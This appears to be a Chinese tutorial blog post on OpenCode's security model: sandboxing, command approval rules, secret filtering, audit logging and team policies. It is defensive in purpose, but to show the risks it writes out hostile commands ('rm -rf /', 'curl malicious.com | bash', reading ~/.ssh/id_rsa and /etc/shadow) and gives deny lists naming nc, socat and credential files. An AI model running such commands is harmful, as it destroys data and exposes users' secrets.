安全与权限 —— 沙箱边界、命令审批与安全策略
系列: AI Agent 实战笔记 日期: 2026-05-22 标签: OpenCode, 安全, 沙箱, 权限管理, 审计 难度: ⭐⭐⭐⭐
简介
在前面的系列文章中,我们已经系统学习了 OpenCode 的安装配置、命令运行、TUI 交互、Session 管理、Agent 模式、MCP 集成、成本与性能管理等核心功能。但所有这些能力如果缺乏安全保障,就像给一辆没有刹车的跑车装上了 turbo——跑得快,但随时可能失控。
安全是 AI Agent 大规模应用的绝对前提。
你可能遇到过这些安全顾虑:
- Agent 会读取我电脑上的敏感文件吗?
- Agent 执行的命令会不会删除重要数据?
- 如果 Agent 被恶意指令诱导,会不会执行危险操作?
- 团队环境中,如何确保每个 Agent 都有合适的权限边界?
- 出了问题,能不能追溯是谁(或哪个 Agent)做了什么?
这些都是真实且重要的问题。随着 AI Agent 越来越多地参与实际工作流程,安全不能再是事后补救的事项,而必须从设计之初就嵌入系统。
本文将深入讲解 OpenCode 的安全与权限体系:
- 沙箱边界:文件系统隔离、网络访问控制、进程限制
- 命令审批:交互式审批、自动审批规则、审批日志
- 安全策略:最小权限、敏感数据保护、代码执行策略
- 审计日志:操作追踪、合规报告、异常检测
- 企业级安全方案:CI/CD 集成、团队权限、合规要求
一、沙箱边界
1.1 为什么需要沙箱
AI Agent 在执行任务时需要访问文件系统、运行终端命令、调用网络 API。如果没有边界约束,一个恶意的或被误导的 Agent 可能造成严重后果:
# ❌ 没有沙箱时可能的危险操作
$ rm -rf / # 删除所有文件
$ curl malicious.com | bash # 执行未知脚本
$ cat ~/.ssh/id_rsa # 窃取 SSH 私钥
$ export DB_PASSWORD=xxx # 泄露环境变量沙箱的核心目标:让 Agent 有足够的权限完成工作,但没有权限造成伤害。
1.2 OpenCode 的安全模式
OpenCode 提供三种安全模式:
# 1. 询问模式(默认)- 危险操作需要用户确认
$ opencode run --mode ask
# 2. 自动模式 - 所有操作自动执行(适合 CI/CD 环境)
$ opencode run --mode auto
# 3. 沙箱模式 - 在受限环境中运行
$ opencode run --mode sandbox1.3 文件系统沙箱
OpenCode 通过路径白名单限制 Agent 的文件访问范围:
{
"security": {
"fs_sandbox": {
"enabled": true,
"allowed_paths": [
"./src/",
"./tests/",
"./docs/",
"./go.mod",
"./go.sum"
],
"denied_paths": [
"~/.ssh/",
"~/.aws/",
"~/.config/",
"/etc/",
"/var/"
],
"allow_read_only": [
"./node_modules/",
"./vendor/"
]
}
}
}路径规则说明:
| 配置项 | 行为 |
|---|---|
allowed_paths |
Agent 可以读写这些路径下的文件 |
denied_paths |
绝对禁止访问的路径(即使 allowed_paths 包含其子目录) |
allow_read_only |
Agent 只能读取,不能修改的路径 |
路径匹配规则:
# ✅ 允许(在 allowed_paths 内)
$ cat ./src/main.go # 读取
$ echo "code" > ./src/new.go # 写入
# ❌ 拒绝(在 denied_paths 内)
$ cat ~/.ssh/id_rsa # 访问被拒绝
# ❌ 拒绝(不在 allowed_paths 内)
$ cat /etc/passwd # 访问被拒绝
# ✅ 允许(只读路径)
$ cat ./node_modules/react/index.js # 只读允许
# ❌ 拒绝(只读路径不能写入)
$ echo "" > ./node_modules/.hack # 写入被拒绝1.4 网络访问控制
在沙箱模式下,Agent 的网络访问也受到限制:
{
"security": {
"network_sandbox": {
"enabled": true,
"allowed_domains": [
"api.github.com",
"registry.npmjs.org",
"*.yourcompany.com"
],
"denied_domains": [
"*.malicious.com",
"paste.ee",
"pastebin.com"
],
"allow_local": false,
"proxy": "http://proxy.yourcompany.com:8080"
}
}
}网络规则说明:
| 配置项 | 行为 |
|---|---|
allowed_domains |
允许访问的域名(支持通配符) |
denied_domains |
禁止访问的域名 |
allow_local |
是否允许访问 localhost/内网地址 |
proxy |
强制通过代理访问(用于审计和过滤) |
1.5 进程限制
沙箱模式下,Agent 可以执行的进程也受到约束:
{
"security": {
"process_sandbox": {
"enabled": true,
"allowed_commands": [
"go", "npm", "yarn", "pnpm",
"make", "cmake",
"git", "grep", "find", "ls", "cat", "head", "tail", "wc",
"python", "node",
"docker", "docker-compose"
],
"denied_commands": [
"rm", "dd", "mkfs", "fdisk", "mount", "umount",
"chmod", "chown",
"wget", "curl", # 如果需要,可在 allowed 中添加
"sudo", "su",
"kill", "pkill",
"crontab", "systemctl",
"nc", "ncat", "socat",
"python -c", "node -e" # 防止内联代码执行
],
"max_processes": 10,
"max_memory_mb": 2048,
"timeout_seconds": 300
}
}
}安全命令分类:
| 类别 | 状态 | 原因 |
|---|---|---|
| 构建工具(go, npm, make) | 允许 | 开发必需 |
| 版本控制(git) | 允许 | 开发必需 |
| 文件操作(cat, grep, find) | 允许 | 开发必需 |
| 删除命令(rm -rf) | 拒绝 | 危险操作 |
| 系统管理(sudo, mount) | 拒绝 | 提权风险 |
| 网络工具(wget, curl) | 按需配置 | 数据外泄风险 |
| 内联执行(python -c) | 拒绝 | 绕过沙箱的风险 |
二、命令审批
2.1 交互式审批
在默认模式下,OpenCode 会对危险操作进行交互式审批:
┌───────────────────────────────────────────────────────┐
│ ⚠️ Agent 请求执行命令 │
├───────────────────────────────────────────────────────┤
│ │
│ 命令: rm -rf ./build/dist │
│ 目录: /home/user/projects/my-app │
│ 风险等级: HIGH │
│ │
│ 风险说明: 删除目录操作 │
│ 影响范围: ./build/dist/ 下的所有文件 │
│ │
├───────────────────────────────────────────────────────┤
│ [Y] 允许 [N] 拒绝 [A] 始终允许此类命令 │
└───────────────────────────────────────────────────────┘2.2 审批规则配置
你可以通过配置文件定义自动审批规则:
{
"security": {
"approval_rules": {
"auto_approve": [
{
"command_pattern": "^git (status|diff|log|branch|show)$",
"description": "只读的 git 操作"
},
{
"command_pattern": "^grep .+ .+$",
"description": "文件内容搜索"
},
{
"command_pattern": "^cat .+$",
"description": "文件读取"
},
{
"command_pattern": "^go (build|vet|fmt|test) .*$",
"description": "Go 构建和测试"
},
{
"command_pattern": "^npm (run|test|lint) .*$",
"description": "npm 脚本执行"
}
],
"auto_reject": [
{
"command_pattern": "^rm -rf /",
"description": "禁止删除根目录"
},
{
"command_pattern": "^(sudo|su) ",
"description": "禁止提权操作"
},
{
"command_pattern": "^chmod (777|776|775)",
"description": "禁止过度宽松的权限设置"
}
],
"always_ask": [
{
"command_pattern": "^rm ",
"description": "所有删除操作需要确认"
},
{
"command_pattern": "^(git push|git force)",
"description": "Push 操作需要确认"
},
{
"command_pattern": "^docker (rmi|rm|system prune)",
"description": "Docker 清理操作需要确认"
}
]
}
}
}2.3 审批优先级
审批规则的优先级从高到低:
1. auto_reject → 立即拒绝(最高优先级)
2. always_ask → 总是询问用户
3. auto_approve → 自动批准
4. default → 使用默认行为(通常是不确定时询问)匹配顺序:先检查 auto_reject,再检查 always_ask,最后检查 auto_approve。第一条匹配的规则决定行为。
2.4 团队级审批策略
在团队环境中,可以定义统一的审批策略:
{
"security": {
"team_approval_policy": {
"production_commands": {
"requires_approval_from": "tech_lead",
"commands": [
"kubectl apply",
"terraform apply",
"docker push.*:latest",
"git push origin main"
]
},
"database_commands": {
"requires_approval_from": "dba",
"commands": [
"psql.*DROP",
"mysql.*DROP",
"mongosh.*dropDatabase"
]
},
"escalation": {
"timeout_seconds": 300,
"action": "reject"
}
}
}
}三、安全策略
3.1 最小权限原则
最小权限原则(Principle of Least Privilege)是安全设计的核心:
{
"security": {
"least_privilege": {
"enabled": true,
"default_policy": "deny",
"roles": {
"code_reviewer": {
"allowed_tools": ["read_file", "grep", "git"],
"allowed_commands": ["git diff", "git log", "cat", "grep"],
"allowed_paths": ["./"],
"network_access": false
},
"developer": {
"allowed_tools": ["read_file", "write_file", "grep", "git", "terminal"],
"allowed_commands": ["go", "npm", "git", "docker"],
"allowed_paths": ["./src/", "./tests/"],
"network_access": true,
"allowed_domains": ["api.github.com", "registry.npmjs.org"]
},
"admin": {
"allowed_tools": ["*"],
"allowed_commands": ["*"],
"allowed_paths": ["./"],
"network_access": true
}
}
}
}
}3.2 敏感数据保护
3.2.1 环境变量过滤
{
"security": {
"env_filter": {
"hidden_vars": [
"AWS_SECRET_ACCESS_KEY",
"DATABASE_URL",
"API_KEY",
"PRIVATE_KEY",
"*_SECRET",
"*_TOKEN",
"*_PASSWORD"
],
"masked_display": true,
"mask_pattern": "****REDACTED****"
}
}
}启用后,Agent 无法读取被过滤的环境变量:
# 用户环境中有这些变量
$ export DATABASE_URL=postgresql://user:pass@localhost/db
$ export API_KEY=sk-abc123def456
# Agent 看到的(被过滤)
$ echo $DATABASE_URL
****REDACTED****
$ echo $API_KEY
****REDACTED****3.2.2 敏感文件保护
{
"security": {
"sensitive_files": {
"blocked_patterns": [
"**/.env",
"**/.env.*",
"**/*secret*",
"**/*password*",
"**/*token*",
"**/*.pem",
"**/*.key",
"**/*.p12",
"**/id_rsa",
"**/id_ed25519",
"**/.aws/credentials",
"**/.git-credentials"
],
"action": "deny"
}
}
}3.3 代码执行策略
3.3.1 代码审查模式
在代码审查场景中,可以禁止所有代码执行:
{
"security": {
"code_review_mode": {
"enabled": true,
"execution_blocked": true,
"network_blocked": true,
"allowed_operations": [
"read_file",
"grep",
"git_diff",
"git_log"
]
}
}
}3.3.2 构建模式
在 CI/CD 构建场景中,允许有限的执行:
{
"security": {
"build_mode": {
"enabled": true,
"execution_allowed": true,
"allowed_commands": [
"go build", "go test", "go vet",
"npm run build", "npm test",
"make", "cmake --build"
],
"network_allowed": true,
"allowed_domains": ["registry.npmjs.org", "proxy.golang.org"],
"artifacts_write_only": true
}
}
}3.4 MCP Server 安全
MCP Server 的安全同样重要:
{
"security": {
"mcp_security": {
"allowed_servers": [
"github",
"filesystem"
],
"tool_level_permissions": {
"github": {
"allowed_tools": [
"github_search_repos",
"github_get_pr",
"github_list_issues"
],
"blocked_tools": [
"github_delete_repo",
"github_force_push",
"github_delete_branch"
]
},
"filesystem": {
"read_only": true,
"max_path_depth": 5
}
}
}
}
}四、审计日志
4.1 日志格式
OpenCode 的审计日志记录了所有关键操作:
{
"timestamp": "2026-05-22T10:30:15.123Z",
"session_id": "abc123def456",
"user": "zhangsan",
"event_type": "command_execution",
"action": "execute",
"details": {
"command": "go build ./...",
"working_directory": "/home/user/projects/my-app",
"status": "approved",
"approval_method": "auto_approve",
"matched_rule": "go (build|vet|fmt|test)",
"duration_ms": 3240,
"exit_code": 0
},
"risk_level": "low"
}4.2 日志事件类型
| 事件类型 | 描述 | 示例 |
|---|---|---|
session_start |
会话开始 | 启动 OpenCode |
session_end |
会话结束 | 退出 OpenCode |
command_execution |
命令执行 | 运行 go build |
file_access |
文件访问 | 读取/写入文件 |
tool_call |
MCP 工具调用 | 调用 GitHub API |
approval_request |
审批请求 | 需要用户确认的操作 |
approval_granted |
审批通过 | 用户批准了操作 |
approval_denied |
审批拒绝 | 用户拒绝了操作 |
security_violation |
安全违规 | 尝试访问禁止的路径 |
budget_alert |
预算告警 | 达到预算阈值 |
4.3 日志查询
# 查看最近的审计日志
$ opencode audit-log --limit 20
# 按时间范围查询
$ opencode audit-log --since "2026-05-22T00:00:00Z" --until "2026-05-22T23:59:59Z"
# 按事件类型过滤
$ opencode audit-log --event-type security_violation
# 按会话查询
$ opencode audit-log --session-id abc123def456
# 按用户查询
$ opencode audit-log --user zhangsan
# 导出为 JSON 用于分析
$ opencode audit-log --json --since "2026-05-01" > audit-export.json4.4 合规报告
# 生成安全合规报告
$ opencode audit-log --report security --format markdown
# 输出示例:
# ═══════════════════════════════════════
# Security Compliance Report
# Period: 2026-05-01 to 2026-05-22
# ═══════════════════════════════════════
#
# Summary:
# - Total Sessions: 156
# - Total Commands: 2,340
# - Auto-Approved: 1,890 (80.8%)
# - User-Approved: 420 (17.9%)
# - Rejected: 25 (1.1%)
# - Security Violations: 5 (0.2%)
#
# Security Violations:
# 1. [2026-05-15 14:23:01] Session abc123
# Attempted: cat /etc/shadow
# Action: Blocked by fs_sandbox
#
# 2. [2026-05-18 09:45:12] Session def456
# Attempted: rm -rf /tmp/important-data
# Action: Blocked by denied_paths
#
# 3-5. ...4.5 异常检测
# 开启异常检测
$ opencode audit-log --anomaly-detect
# 输出示例:
# 🔍 Anomaly Detection Report
#
# ⚠️ Unusual Activity Detected:
#
# 1. [HIGH] Session xyz789 - zhangsan
# - 10x normal command count in last hour
# - Commands pattern: multiple file deletion
# - Recommendation: Review session xyz789
#
# 2. [MEDIUM] Session abc123 - lisi
# - Accessed 15 new files not in typical pattern
# - Time: outside normal working hours (23:00)
# - Recommendation: Verify with user
#
# 3. [LOW] Session def456 - wangwu
# - Model switched from claude-sonnet-4 to claude-opus-4
# - Cost per session increased 5x
# - Recommendation: Review if intentional五、企业级安全方案
5.1 CI/CD 集成安全
在 CI/CD 管道中运行 OpenCode 时的安全配置:
{
"security": {
"ci_mode": {
"enabled": true,
"mode": "auto",
"fs_sandbox": {
"enabled": true,
"allowed_paths": ["./"],
"denied_paths": ["~/.ssh/", "~/.aws/", "~/.config/"]
},
"network_sandbox": {
"enabled": true,
"allowed_domains": ["api.github.com", "registry.npmjs.org"]
},
"token_injection": {
"GITHUB_TOKEN": "${{ secrets.GITHUB_TOKEN }}",
"NPM_TOKEN": "${{ secrets.NPM_TOKEN }}"
},
"timeout_seconds": 1800,
"max_cost_per_run": 5.00
}
}
}5.2 GitLab CI 示例
# .gitlab-ci.yml
ai-code-review:
image: opencode:latest
script:
- opencode run --mode auto \
--prompt "审查这个 MR 的所有变更,关注安全漏洞和代码质量问题" \
--settings .opencode/ci-settings.json
rules:
- if: '$CI_PIPELINE_SOURCE == "merge_request_event"'
variables:
OPENCODE_SECURITY_MODE: "ci"
OPENCODE_MAX_COST: "3.00"5.3 团队权限矩阵
| 角色 | 文件系统 | 网络 | 命令 | MCP | 预算 |
|---|---|---|---|---|---|
| 实习生 | 只读 | 禁止 | 受限 | 禁止 | $5/天 |
| 初级开发 | 项目目录 | 允许 | 大部分 | 部分 | $15/天 |
| 高级开发 | 项目目录+ | 允许 | 全部 | 全部 | $30/天 |
| Tech Lead | 全部 | 允许 | 全部 | 全部 | $50/天 |
| 只读审查 | 只读 | 禁止 | 只读 | 只读 | $5/天 |
5.4 安全配置检查清单
启动前检查
- 确认沙箱模式已启用
- 验证文件路径白名单配置正确
- 检查敏感文件保护策略
- 确认环境变量过滤生效
- 测试审批规则是否按预期工作
运行中监控
- 实时查看审计日志
- 监控预算消耗
- 关注安全告警
- 定期检查异常检测报告
定期审计
- 每月审查权限分配是否合理
- 检查审计日志中的安全事件
- 更新被拒绝的命令模式列表
- 评估和调整预算限制
- 回顾和更新 MCP Server 权限
六、实战:完整安全配置示例
以下是一个面向生产环境的完整安全配置:
{
"security": {
"mode": "sandbox",
"fs_sandbox": {
"enabled": true,
"allowed_paths": ["./src/", "./tests/", "./docs/", "./go.mod"],
"denied_paths": ["~/.ssh/", "~/.aws/", "~/.config/", "/etc/", "/var/"],
"allow_read_only": ["./node_modules/", "./vendor/"]
},
"network_sandbox": {
"enabled": true,
"allowed_domains": ["api.github.com", "registry.npmjs.org", "*.yourcompany.com"],
"allow_local": false
},
"process_sandbox": {
"enabled": true,
"allowed_commands": ["go", "npm", "git", "grep", "find", "cat", "make"],
"denied_commands": ["rm -rf", "sudo", "su", "chmod 777", "wget", "curl"],
"max_processes": 10,
"max_memory_mb": 2048,
"timeout_seconds": 300
},
"approval_rules": {
"auto_approve": [
{ "command_pattern": "^git (status|diff|log|branch)$" },
{ "command_pattern": "^go (build|vet|fmt|test)" },
{ "command_pattern": "^npm (run|test|lint)" }
],
"always_ask": [
{ "command_pattern": "^git push" },
{ "command_pattern": "^rm " }
],
"auto_reject": [
{ "command_pattern": "^rm -rf /" },
{ "command_pattern": "^(sudo|su) " }
]
},
"env_filter": {
"hidden_vars": ["*_SECRET", "*_TOKEN", "*_PASSWORD", "*_KEY"],
"masked_display": true
},
"sensitive_files": {
"blocked_patterns": ["**/.env", "**/.env.*", "**/*.pem", "**/*.key", "**/id_rsa"],
"action": "deny"
}
},
"budget": {
"daily_limit": 15.00,
"per_session_limit": 5.00,
"action_on_limit": "hard_stop"
}
}总结
本文系统讲解了 OpenCode 的安全与权限体系:
- 沙箱边界通过文件系统隔离、网络访问控制和进程限制,确保 Agent 只能在安全范围内操作
- 命令审批提供交互式审批、自动审批规则和团队级审批策略,在效率和安全性之间取得平衡
- 安全策略涵盖最小权限原则、敏感数据保护、代码执行策略和 MCP Server 安全,形成多层防御
- 审计日志记录所有关键操作,支持查询、合规报告和异常检测,确保可追溯性
- 企业级安全方案提供了 CI/CD 集成、团队权限矩阵和完整配置示例,可直接用于生产环境
安全不是限制,而是保障。 良好的安全配置让你在享受 AI Agent 带来的效率提升的同时,不用担心数据泄露、误操作或权限滥用。